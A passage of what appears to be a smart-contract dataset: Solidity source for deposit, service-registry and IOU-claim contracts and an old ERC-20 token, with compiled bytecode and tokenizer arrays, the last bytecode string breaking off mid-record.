(denominator) // @param _decay_constant The number of seconds after which the price becomes roughly 1/e // @param _min_price The minimum amount of tokens needed for a slot // @param _registration_duration The number of seconds (roughly, barring block time & miners' // timestamp errors) of a slot gained for a successful deposit constructor( address _token_for_registration, address _controller, uint256 _initial_price, uint256 _price_bump_numerator, uint256 _price_bump_denominator, uint256 _decay_constant, uint256 _min_price, uint256 _registration_duration ) public { require(_token_for_registration != address(0x0), "token at address zero"); require(contractExists(_token_for_registration), "token has no code"); require(_initial_price >= min_price, "initial price too low"); require(_initial_price <= 2 ** 90, "intiial price too high"); token = Token(_token_for_registration); // Check if the contract is indeed a token contract require(token.totalSupply() > 0, "total supply zero"); controller = _controller; // Set up the price and the set price timestamp set_price = _initial_price; set_price_at = now; // Set the parameters changeParametersInternal(_price_bump_numerator, _price_bump_denominator, _decay_constant, _min_price, _registration_duration); } // @notice Locks tokens and registers a service or extends the registration // @param _limit_amount The biggest amount of tokens that the caller is willing to deposit // The call fails if the current price is higher (this is always possible // when other parties have just called `deposit()`) function deposit(uint _limit_amount) public returns (bool _success) { require(! deprecated, "this contract was deprecated"); uint256 amount = currentPrice(); require(_limit_amount >= amount, "not enough limit"); // Extend the service position. uint256 valid_till = service_valid_till[msg.sender]; if (valid_till == 0) { // a first time joiner ever_made_deposits.push(msg.sender); } if (valid_till < now) { // a first time joiner or an expired service. valid_till = now; } // Check against overflow. require(valid_till < valid_till + registration_duration, "overflow during extending the registration"); valid_till = valid_till + registration_duration; assert(valid_till > service_valid_till[msg.sender]); service_valid_till[msg.sender] = valid_till; // Record the price set_price = amount * price_bump_numerator / price_bump_denominator; if (set_price > 2 ** 90) { set_price = 2 ** 90; // Preventing overflows. } set_price_at = now; // Move the deposit in a new Deposit contract. assert(now < valid_till); Deposit depo = new Deposit(address(token), valid_till, msg.sender, address(this)); require(token.transferFrom(msg.sender, address(depo), amount), "Token transfer for deposit failed"); // Fire event emit RegisteredService(msg.sender, valid_till, amount, depo); return true; } /// @notice Sets the URL used to access a service via HTTP /// Only a currently registered service can call this successfully /// @param new_url The new URL string to be stored function setURL(string memory new_url) public returns (bool _success) { require(hasValidRegistration(msg.sender), "registration expired"); require(bytes(new_url).length != 0, "new url is empty string"); urls[msg.sender] = new_url; return true; } /// A getter function for seeing the length of ever_made_deposits array function everMadeDepositsLen() public view returns (uint256 _len) { return ever_made_deposits.length; } function hasValidRegistration(address _address) public view returns (bool _has_registration) { return now < service_valid_till[_address]; } } // MIT License // Copyright (c) 2018 // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. contract UserDeposit is Utils { uint constant public withdraw_delay = 100; // time before withdraw is allowed in blocks // Token to be used for the deposit Token public token; // Trusted contracts (can execute `transfer`) address public msc_address; address public one_to_n_address; // Total amount of tokens that have been deposited. This is monotonous and // doing a transfer or withdrawing tokens will not decrease total_deposit! mapping(address => uint256) public total_deposit; // Current user's balance, ignoring planned withdraws mapping(address => uint256) public balances; mapping(address => WithdrawPlan) public withdraw_plans; // The sum of all balances uint256 public whole_balance = 0; // Deposit limit for this whole contract uint256 public whole_balance_limit; /* * Structs */ struct WithdrawPlan { uint256 amount; uint256 withdraw_block; // earliest block at which withdraw is allowed } /* * Events */ event BalanceReduced(address indexed owner, uint newBalance); event WithdrawPlanned(address indexed withdrawer, uint plannedBalance); /* * Modifiers */ modifier canTransfer() { require(msg.sender == msc_address || msg.sender == one_to_n_address, "unknown caller"); _; } /* * Constructor */ /// @notice Set the default values for the smart contract /// @param _token_address The address of the token to use for rewards constructor(address _token_address, uint256 _whole_balance_limit) public { // check token contract require(_token_address != address(0x0), "token at address zero"); require(contractExists(_token_address), "token has no code"); token = Token(_token_address); require(token.totalSupply() > 0, "token has no total supply"); // Check if the contract is indeed a token contract // check and set the whole balance limit require(_whole_balance_limit > 0, "whole balance limit is zero"); whole_balance_limit = _whole_balance_limit; } /// @notice Specify trusted contracts. This has to be done outside of the /// constructor to avoid cyclic dependencies. /// @param _msc_address Address of the MonitoringService contract /// @param _one_to_n_address Address of the OneToN contract function init(address _msc_address, address _one_to_n_address) external { // prevent changes of trusted contracts after initialization require(msc_address == address(0x0) && one_to_n_address == address(0x0), "already initialized"); // check monitoring service contract require(_msc_address != address(0x0), "MS contract at address zero"); require(contractExists(_msc_address), "MS contract has no code"); msc_address = _msc_address; // check one to n contract require(_one_to_n_address != address(0x0), "OneToN at address zero"); require(contractExists(_one_to_n_address), "OneToN has no code"); one_to_n_address = _one_to_n_address; } /// @notice Deposit tokens. The amount of transferred tokens will be /// `new_total_deposit - total_deposit[beneficiary]`. This makes the /// function behavior predictable and idempotent. Can be called several /// times and on behalf of other accounts. /// @param beneficiary The account benefiting from the deposit /// @param new_total_deposit The total sum of tokens that have been /// deposited by the user by calling this function. function deposit(address beneficiary, uint256 new_total_deposit) external { require(new_total_deposit > total_deposit[beneficiary], "deposit not increasing"); // Calculate the actual amount of tokens that will be transferred uint256 added_deposit = new_total_deposit - total_deposit[beneficiary]; balances[beneficiary] += added_deposit; total_deposit[beneficiary] += added_deposit; // Update whole_balance, but take care against overflows. require(whole_balance + added_deposit >= whole_balance, "overflowing deposit"); whole_balance += added_deposit; // Decline deposit if the whole balance is bigger than the limit. require(whole_balance <= whole_balance_limit, "too much deposit"); // Actual transfer. require(token.transferFrom(msg.sender, address(this), added_deposit), "tokens didn't transfer"); } /// @notice Internally transfer deposits between two addresses. /// Sender and receiver must be different or the transaction will fail. /// @param sender Account from which the amount will be deducted /// @param receiver Account to which the amount will be credited /// @param amount Amount of tokens to be transferred /// @return success true if transfer has been done successfully, otherwise false function transfer( address sender, address receiver, uint256 amount ) canTransfer() external returns (bool success) { require(sender != receiver, "sender == receiver"); if (balances[sender] >= amount && amount > 0) { balances[sender] -= amount; balances[receiver] += amount; emit BalanceReduced(sender, balances[sender]); return true; } else { return false; } } /// @notice Announce intention to withdraw tokens. /// Sets the planned withdraw amount and resets the withdraw_block. /// There is only one planned withdrawal at a time, the old one gets overwritten. /// @param amount Maximum amount of tokens to be withdrawn function planWithdraw(uint256 amount) external { require(amount > 0, "withdrawing zero"); require(balances[msg.sender] >= amount, "withdrawing too much"); withdraw_plans[msg.sender] = WithdrawPlan({ amount: amount, withdraw_block: block.number + withdraw_delay }); emit WithdrawPlanned(msg.sender, balances[msg.sender] - amount); } /// @notice Execute a planned withdrawal /// Will only work after the withdraw_delay has expired. /// An amount lower or equal to the planned amount may be withdrawn. /// Removes the withdraw plan even if not the full amount has been /// withdrawn. /// @param amount Amount of tokens to be withdrawn function withdraw(uint256 amount) external { WithdrawPlan storage withdraw_plan = withdraw_plans[msg.sender]; require(amount <= withdraw_plan.amount, "withdrawing more than planned"); require(withdraw_plan.withdraw_block <= block.number, "withdrawing too early"); uint256 withdrawable = min(amount, balances[msg.sender]); balances[msg.sender] -= withdrawable; // Update whole_balance, but take care against underflows. require(whole_balance - withdrawable <= whole_balance, "underflow in whole_balance"); whole_balance -= withdrawable; emit BalanceReduced(msg.sender, balances[msg.sender]); delete withdraw_plans[msg.sender]; require(token.transfer(msg.sender, withdrawable), "tokens didn't transfer"); } /// @notice The owner's balance with planned withdrawals deducted /// @param owner Address for which the balance should be returned /// @return remaining_balance The remaining balance after planned withdrawals function effectiveBalance(address owner) external view returns (uint256 remaining_balance) { WithdrawPlan storage withdraw_plan = withdraw_plans[owner]; if (withdraw_plan.amount > balances[owner]) { return 0; } return balances[owner] - withdraw_plan.amount; } function min(uint256 a, uint256 b) pure internal returns (uint256) { return a > b ? b : a; } } // MIT License // Copyright (c) 2018 // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. library ECVerify { function ecverify(bytes32 hash, bytes memory signature) internal pure returns (address signature_address) { require(signature.length == 65); bytes32 r; bytes32 s; uint8 v; // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) // Here we are loading the last 32 bytes, including 31 bytes following the signature. v := byte(0, mload(add(signature, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible if (v < 27) { v += 27; } require(v == 27 || v == 28); signature_address = ecrecover(hash, v, r, s); // ecrecover returns zero on error require(signature_address != address(0x0)); return signature_address; } } contract OneToN is Utils { UserDeposit public deposit_contract; ServiceRegistry public service_registry_contract; // The signature given to claim() has to be computed with // this chain_id. Otherwise the call fails. uint256 public chain_id; // Indicates which sessions have already been settled by storing // keccak256(receiver, sender, expiration_block) => expiration_block. mapping (bytes32 => uint256) public settled_sessions; /* * Events */ // The session has been settled and can't be claimed again. The receiver is // indexed to allow services to know when claims have been successfully // processed. // When users want to get notified about low balances, they should listen // for UserDeposit.BalanceReduced, instead. // The first three values identify the session, `transferred` is the amount // of tokens that has actually been transferred during the claim. event Claimed( address sender, address indexed receiver, uint256 expiration_block, uint256 transferred ); /* * Constructor */ /// @param _deposit_contract Address of UserDeposit contract /// @param _service_registry_contract Address of ServiceRegistry contract constructor( address _deposit_contract, uint256 _chain_id, address _service_registry_contract ) public { deposit_contract = UserDeposit(_deposit_contract); chain_id = _chain_id; service_registry_contract = ServiceRegistry(_service_registry_contract); } /// @notice Submit an IOU to claim the owed amount. /// If the deposit is smaller than the claim, the remaining deposit is /// claimed. If no tokens are claimed, `claim` may be retried, later. /// @param sender Address from which the amount is transferred /// @param receiver Address to which the amount is transferred /// @param amount Owed amount of tokens /// @param expiration_block Tokens can only be claimed before this time /// @param one_to_n_address Address of this contract /// @param signature Sender's signature over keccak256(sender, receiver, amount, expiration_block) /// @return Amount of transferred tokens function claim( address sender, address receiver, uint256 amount, uint256 expiration_block, address one_to_n_address, bytes memory signature ) public returns (uint) { require(service_registry_contract.hasValidRegistration(receiver), "receiver not registered"); require(block.number <= expiration_block, "IOU expired"); // validate signature address addressFromSignature = recoverAddressFromSignature( sender, receiver, amount, expiration_block, chain_id, signature ); require(addressFromSignature == sender, "Signature mismatch"); // must not be claimed before bytes32 _key = keccak256(abi.encodePacked(receiver, sender, expiration_block)); require(settled_sessions[_key] == 0, "Already settled session"); // claim as much as possible uint256 transferable = min(amount, deposit_contract.balances(sender)); if (transferable > 0) { // register to avoid double claiming settled_sessions[_key] = expiration_block; assert(expiration_block > 0); emit Claimed(sender, receiver, expiration_block, transferable); require(deposit_contract.transfer(sender, receiver, transferable), "deposit did not transfer"); } return transferable; } /// @notice Submit multiple IOUs to claim the owed amount. /// This is the same as calling `claim` multiple times, except for the reduced gas cost. /// @param senders Addresses from which the amounts are transferred /// @param receivers Addresses to which the amounts are transferred /// @param amounts Owed amounts of tokens /// @param expiration_blocks Tokens can only be claimed before this time /// @param one_to_n_address Address of this contract /// @param signatures Sender's signatures concatenated into a single bytes array /// @return Amount of transferred tokens function bulkClaim( address[] calldata senders, address[] calldata receivers, uint256[] calldata amounts, uint256[] calldata expiration_blocks, address one_to_n_address, bytes calldata signatures ) external returns (uint) { uint256 transferable = 0; require( senders.length == receivers.length && senders.length == amounts.length && senders.length == expiration_blocks.length, "Same number of elements required for all input parameters" ); require( signatures.length == senders.length * 65, "`signatures` should contain 65 bytes per IOU" ); for (uint256 i = 0; i < senders.length; i++) { transferable += claim( senders[i], receivers[i], amounts[i], expiration_blocks[i], one_to_n_address, getSingleSignature(signatures, i) ); } return transferable; } /* * Internal Functions */ /// @notice Get a single signature out of a byte array that contains concatenated signatures. /// @param signatures Multiple signatures concatenated into a single byte array /// @param i Index of the requested signature (zero based; the caller must check ranges) function getSingleSignature( bytes memory signatures, uint256 i ) internal pure returns (bytes memory) { assert(i < signatures.length); uint256 offset = i * 65; // We need only 65, but we can access only whole words, so the next usable size is 3 * 32. bytes memory signature = new bytes(96); assembly { // solium-disable-line security/no-inline-assembly // Copy the 96 bytes, using `offset` to start at the beginning // of the requested signature. mstore(add(signature, 32), mload(add(add(signatures, 32), offset))) mstore(add(signature, 64), mload(add(add(signatures, 64), offset))) mstore(add(signature, 96), mload(add(add(signatures, 96), offset))) // The first 32 bytes store the length of the dynamic array. // Since a signature is 65 bytes, we set the length to 65, so // that only the signature is returned. mstore(signature, 65) } return signature; } function recoverAddressFromSignature( address sender, address receiver, uint256 amount, uint256 expiration_block, uint256 chain_id, bytes memory signature ) internal view returns (address signature_address) { bytes32 message_hash = keccak256(abi.encodePacked( "\x19Ethereum Signed Message:\n188", address(this), chain_id, uint256(MessageTypeId.IOU), sender, receiver, amount, expiration_block )); return ECVerify.ecverify(message_hash, signature); } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? b : a; } } // MIT License // Copyright (c) 2018 // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE.
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c80637709bc781161005b5780637709bc781461022d57806399ccb9fe14610289578063c7ae4e2c1461048a578063dc291e57146104cc5761007d565b80633af973b1146100825780633ea6b5b4146100a0578063631b4903146100ea575b600080fd5b61008a610516565b6040518082815260200191505060405180910390f35b6100a861051c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610217600480360360c081101561010057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561019157600080fd5b8201836020820111156101a357600080fd5b803590602001918460018302840111640100000000831117156101c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610541565b6040518082815260200191505060405180910390f35b61026f6004803603602081101561024357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c11565b604051808215151515815260200191505060405180910390f35b610474600480360360c081101561029f57600080fd5b81019080803590602001906401000000008111156102bc57600080fd5b8201836020820111156102ce57600080fd5b803590602001918460208302840111640100000000831117156102f057600080fd5b90919293919293908035906020019064010000000081111561031157600080fd5b82018360208201111561032357600080fd5b8035906020019184602083028401116401000000008311171561034557600080fd5b90919293919293908035906020019064010000000081111561036657600080fd5b82018360208201111561037857600080fd5b8035906020019184602083028401116401000000008311171561039a57600080fd5b9091929391929390803590602001906401000000008111156103bb57600080fd5b8201836020820111156103cd57600080fd5b803590602001918460208302840111640100000000831117156103ef57600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561043057600080fd5b82018360208201111561044257600080fd5b8035906020019184600183028401116401000000008311171561046457600080fd5b9091929391929390505050610c24565b6040518082815260200191505060405180910390f35b6104b6600480360360208110156104a057600080fd5b8101908080359060200190929190505050610e11565b6040518082815260200191505060405180910390f35b6104d4610e29565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ebc00c05876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105e257600080fd5b505afa1580156105f6573d6000803e3d6000fd5b505050506040513d602081101561060c57600080fd5b810190808051906020019092919050505061068f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f7265636569766572206e6f74207265676973746572656400000000000000000081525060200191505060405180910390fd5b83431115610705576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f494f55206578706972656400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006107178888888860025488610e4f565b90508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f5369676e6174757265206d69736d61746368000000000000000000000000000081525060200191505060405180910390fd5b6000878987604051602001808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001935050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002054146108dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416c726561647920736574746c65642073657373696f6e00000000000000000081525060200191505060405180910390fd5b60006109c0886000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327e235e38d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561098057600080fd5b505afa158015610994573d6000803e3d6000fd5b505050506040513d60208110156109aa57600080fd5b8101908080519060200190929190505050610f83565b90506000811115610c0157866003600084815260200190815260200160002081905550600087116109ed57fe5b8873ffffffffffffffffffffffffffffffffffffffff167f2f6639d24651730c7bf57c95ddbf96d66d11477e4ec626876f92c22e5f365e688b8984604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a26000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663beabacc88b8b846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610b5357600080fd5b505af1158015610b67573d6000803e3d6000fd5b505050506040513d6020811015610b7d57600080fd5b8101908080519060200190929190505050610c00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6465706f73697420646964206e6f74207472616e73666572000000000000000081525060200191505060405180910390fd5b5b8093505050509695505050505050565b600080823b905060008111915050919050565b600080600090508a8a90508d8d9050148015610c455750888890508d8d9050145b8015610c565750868690508d8d9050145b610cab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806111296039913960400191505060405180910390fd5b60418d8d9050028484905014610d0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611162602c913960400191505060405180910390fd5b60008090505b8d8d9050811015610dfd57610dec8e8e83818110610d2c57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168d8d84818110610d5557fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168c8c85818110610d7e57fe5b905060200201358b8b86818110610d9157fe5b905060200201358a610de78b8b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505088610f9c565b610541565b820191508080600101915050610d12565b50809150509b9a5050505050505050505050565b60036020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080308460056006811115610e6157fe5b8a8a8a8a60405160200180807f19457468657265756d205369676e6564204d6573736167653a0a313838000000815250601d018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401838152602001828152602001975050505050505050604051602081830303815290604052805190602001209050610f76818461101b565b9150509695505050505050565b6000818311610f925782610f94565b815b905092915050565b606082518210610fa857fe5b60006041830290506060806040519080825280601f01601f191660200182016040528015610fe55781602001600182028036833780820191505090505b50905081602086010151602082015281604086010151604082015281606086010151606082015260418152809250505092915050565b6000604182511461102b57600080fd5b60008060006020850151925060408501519150606085015160001a9050601b8160ff16101561105b57601b810190505b601b8160ff1614806110705750601c8160ff16145b61107957600080fd5b60018682858560405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156110d6573d6000803e3d6000fd5b505050602060405103519350600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561111c57600080fd5b8393505050509291505056fe53616d65206e756d626572206f6620656c656d656e747320726571756972656420666f7220616c6c20696e70757420706172616d6574657273607369676e617475726573602073686f756c6420636f6e7461696e2036352062797465732070657220494f55a26469706673582212203886026afa170ee4408db78f0ce0dca9843b71757a823702396271d9573eb6e964736f6c63430006040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 16086, 2546, 24096, 2063, 2683, 2063, 17465, 2683, 2063, 2487, 2278, 27531, 21084, 2581, 2620, 2549, 2050, 2692, 12376, 2546, 2094, 2487, 3540, 22203, 26187, 16068, 2683, 2475, 2094, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1020, 1012, 1018, 1025, 1013, 1013, 1013, 1030, 2516, 21183, 12146, 1013, 1013, 1013, 1030, 5060, 21183, 12146, 3206, 2005, 2536, 2393, 2545, 2109, 2011, 1996, 8118, 2368, 2897, 6047, 1013, 1013, 1013, 8311, 1012, 3206, 21183, 12146, 1063, 4372, 2819, 4471, 13874, 3593, 1063, 3904, 1010, 5703, 18907, 1010, 5703, 18907, 6279, 13701, 1010, 10632, 1010, 10791, 21678, 2571, 1010, 22834, 2226, 1010, 5796, 15603, 4232, 1065, 1013, 1013, 1013, 1030, 5060, 4638, 2065, 1037, 3206, 6526, 1013, 1013, 1013, 1030, 11498, 2213, 3206, 1035, 4769, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,012
0x960f56e8a9f2084acf39a686ee5b1f5467cf81e4
pragma solidity ^0.4.3; contract Token { uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract ZBAStandardToken is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H0.1'; function ZBAStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806354fd4d501461027857806370a082311461030657806395d89b4114610353578063a9059cbb146103e1578063cae9ca511461043b578063dd62ed3e146104d8575b34156100ba57600080fd5b600080fd5b34156100ca57600080fd5b6100d2610544565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105e2565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106d4565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106da565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610956565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61028b610969565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102cb5780820151818401526020810190506102b0565b50505050905090810190601f1680156102f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561031157600080fd5b61033d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a07565b6040518082815260200191505060405180910390f35b341561035e57600080fd5b610366610a50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610421600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aee565b604051808215151515815260200191505060405180910390f35b341561044657600080fd5b6104be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610c57565b604051808215151515815260200191505060405180910390f35b34156104e357600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef8565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105da5780601f106105af576101008083540402835291602001916105da565b820191906000526020600020905b8154815290600101906020018083116105bd57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd